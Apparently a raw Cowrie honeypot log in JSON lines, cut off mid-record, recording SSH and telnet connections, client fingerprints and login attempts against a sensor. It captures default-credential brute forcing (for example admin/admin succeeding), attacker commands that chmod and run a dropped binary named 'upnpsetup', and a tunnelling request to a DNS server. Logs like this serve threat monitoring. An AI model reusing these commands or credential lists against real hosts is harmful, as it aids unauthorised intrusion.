{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f387956f15f8a68ad90a524c378c74968af7453886cb2148ff5ff783923c5768","size":98,"shasum":"f387956f15f8a68ad90a524c378c74968af7453886cb2148ff5ff783923c5768","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f387956f15f8a68ad90a524c378c74968af7453886cb2148ff5ff783923c5768 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:02.813363Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:03.069227Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:03.270513Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod 777 ./upnpsetup","message":"CMD: chmod 777 ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:03.277350Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","size":62,"shasum":"48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:03.713466Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:03.967031Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:04.168333Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo ./upnpsetup","message":"CMD: sudo ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:04.172359Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40724,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f39366707a","protocol":"telnet","message":"New connection: 137.184.155.248:40724 (10.17.0.5:23) [session: 90f39366707a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:04.212993Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","size":631,"shasum":"c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:04.605332Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00298023223877,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:06.833365Z","src_ip":"31.43.241.152","session":"196bd2ac43c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46f762bcdd5","protocol":"telnet","message":"New connection: 31.43.241.152:36492 (159.203.135.109:23) [session: c46f762bcdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:07.955354Z"}
{"eventid":"cowrie.session.closed","duration":4.361125946044922,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:08.573989Z","src_ip":"137.184.155.248","session":"90f39366707a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":28731,"dst_ip":"10.17.0.5","dst_port":22,"session":"db914b8b8eda","protocol":"ssh","message":"New connection: 112.151.178.49:28731 (10.17.0.5:22) [session: db914b8b8eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.215453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.220016Z","src_ip":"112.151.178.49","session":"db914b8b8eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40734,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e5269eb1a4c","protocol":"telnet","message":"New connection: 137.184.155.248:40734 (10.17.0.5:23) [session: 4e5269eb1a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.390658Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.427844Z","src_ip":"112.151.178.49","session":"db914b8b8eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":33350,"dst_ip":"10.17.0.5","dst_port":22,"session":"97bba277a940","protocol":"ssh","message":"New connection: 58.186.20.101:33350 (10.17.0.5:22) [session: 97bba277a940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.498577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.504272Z","src_ip":"58.186.20.101","session":"97bba277a940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.754220Z","src_ip":"58.186.20.101","session":"97bba277a940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60992,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfc9e4bb20c1","protocol":"telnet","message":"New connection: 137.184.155.248:60992 (10.17.0.5:23) [session: cfc9e4bb20c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:12.762669Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!234","message":"login attempt [root/admin!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:13.290396Z","src_ip":"112.151.178.49","session":"db914b8b8eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"password1","message":"login attempt [server/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:13.790936Z","src_ip":"58.186.20.101","session":"97bba277a940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:14.501521Z","src_ip":"112.151.178.49","session":"db914b8b8eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:15.044353Z","src_ip":"58.186.20.101","session":"97bba277a940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.18229150772095,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:21.272421Z","src_ip":"137.184.155.248","session":"758a4f495433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49066,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b40730522c","protocol":"telnet","message":"New connection: 137.184.155.248:49066 (10.17.0.5:23) [session: d8b40730522c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:22.520468Z"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:35.626900Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:35.825610Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./upnpsetup","message":"CMD: ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:35.829384Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"./upnpsetup ","message":"Command not found: ./upnpsetup ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:35.832913Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","size":38,"shasum":"3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:36.036824Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"42.2","message":"Connection lost after 42.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:36.041559Z","src_ip":"103.190.242.61","session":"dbc049627dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60980,"dst_ip":"10.17.0.5","dst_port":23,"session":"50db68d31f21","protocol":"telnet","message":"New connection: 137.184.155.248:60980 (10.17.0.5:23) [session: 50db68d31f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:36.668695Z"}
{"eventid":"cowrie.session.closed","duration":44.98469281196594,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:38.640219Z","src_ip":"137.184.155.248","session":"dcdcb635fc05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":60982,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75b5396282a","protocol":"telnet","message":"New connection: 137.184.155.248:60982 (10.17.0.5:23) [session: f75b5396282a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:39.551613Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15298,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c8cfa5a044","protocol":"ssh","message":"New connection: 87.251.64.176:15298 (10.17.0.5:22) [session: d6c8cfa5a044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.312859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.316751Z","src_ip":"87.251.64.176","session":"d6c8cfa5a044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.412425Z","src_ip":"87.251.64.176","session":"d6c8cfa5a044","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.699418Z","src_ip":"87.251.64.176","session":"d6c8cfa5a044","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.798454Z","session":"d6c8cfa5a044","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.895534Z","src_ip":"87.251.64.176","session":"d6c8cfa5a044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:40.994175Z","src_ip":"87.251.64.176","session":"d6c8cfa5a044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55562,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f0ba0a7325","protocol":"telnet","message":"New connection: 137.184.155.248:55562 (10.17.0.5:23) [session: 19f0ba0a7325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:53.975242Z"}
{"eventid":"cowrie.session.closed","duration":45.90352749824524,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:58.294068Z","src_ip":"137.184.155.248","session":"4e5269eb1a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":55578,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4f3840c606","protocol":"telnet","message":"New connection: 137.184.155.248:55578 (10.17.0.5:23) [session: bc4f3840c606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:59.242169Z"}
{"eventid":"cowrie.session.closed","duration":47.18297100067139,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:42:59.945519Z","src_ip":"137.184.155.248","session":"cfc9e4bb20c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":20054,"dst_ip":"10.17.0.5","dst_port":22,"session":"89b834ad0a72","protocol":"ssh","message":"New connection: 112.151.178.49:20054 (10.17.0.5:22) [session: 89b834ad0a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:05.392120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:05.397450Z","src_ip":"112.151.178.49","session":"89b834ad0a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:05.609408Z","src_ip":"112.151.178.49","session":"89b834ad0a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45670,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d41a7347915","protocol":"telnet","message":"New connection: 137.184.155.248:45670 (10.17.0.5:23) [session: 1d41a7347915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:06.132106Z"}
{"eventid":"cowrie.login.failed","username":"test3","password":"12345678","message":"login attempt [test3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:06.488000Z","src_ip":"112.151.178.49","session":"89b834ad0a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":47150,"dst_ip":"10.17.0.5","dst_port":22,"session":"14637e796f65","protocol":"ssh","message":"New connection: 148.230.169.229:47150 (10.17.0.5:22) [session: 14637e796f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:06.560900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:43:06.568810Z","src_ip":"148.230.169.229","session":"14637e796f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 